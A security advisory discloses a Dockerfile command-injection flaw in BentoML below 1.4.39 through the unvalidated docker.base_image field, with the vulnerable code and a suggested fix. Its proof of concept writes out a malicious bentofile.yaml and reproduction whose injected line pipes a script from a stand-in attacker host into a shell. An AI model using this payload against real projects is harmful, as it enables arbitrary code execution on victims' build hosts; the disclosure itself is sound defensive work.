GHSA-78f9-r8mh-4xm2 BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)

• PyPI bentoml: < 1.4.39 → fixed in 1.4.39

The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host. Vulnerable code `src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28): ```jinja FROM {{ __options__base_image }} AS base-container ``` `__options__base_image` resolves to `DockerOptions.base_image` (`src/bentoml/_internal/bento/build_config.py:176`): ```python base_image: t.Optional[str] = None ``` No `validator`, no `converter`, no newline check. The value is loaded straight from `bento.yaml` in `src/bentoml/_internal/container/__init__.py:206` via `DockerOptions(**docker_attrs)` and rendered as-is. PoC Malicious `bentofile.yaml`: ```yaml docker: base_image: | python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch ``` Minimal reproduction of the unsafe interpolation: ```python from jinja2 import Environment env = Environment() malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch' out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious) print(out) ``` Output: ``` FROM python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch AS base-container ``` Three valid Dockerfile directives instead of one. The `RUN curl` executes during `docker build`. The trailing `FROM scratch AS base-container` provides the named build stage the rest of the template depends on, so the build proceeds without error. Impact Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during `bentoml containerize` of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects `docker.base_image` to be a Docker image reference, not a Dockerfile fragment. Suggested fix Validate `DockerOptions.base_image` at the config layer: reject any value containing newline characters (`\n`, `\r`) or whitespace beyond a single space-separated tag. A regex like `^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$` covers the practical Docker reference format. The same hardening should be extended to other unvalidated fields interpolated raw in `base_v2.j2`: • `__options__build_include[*]` at line 97 (`COPY ... ./src/{{ name }} ./src/{{ name }}`) — same newline-injection class for path entries from `Image.build_include(*file_paths)`. • `bento__user`, `bento__uid_gid`, `bento__path`, `bento__home`, `bento__entrypoint` — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through `override_bento_env`. References • Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043. • CWE-78: https://cwe.mitre.org/data/definitions/78.html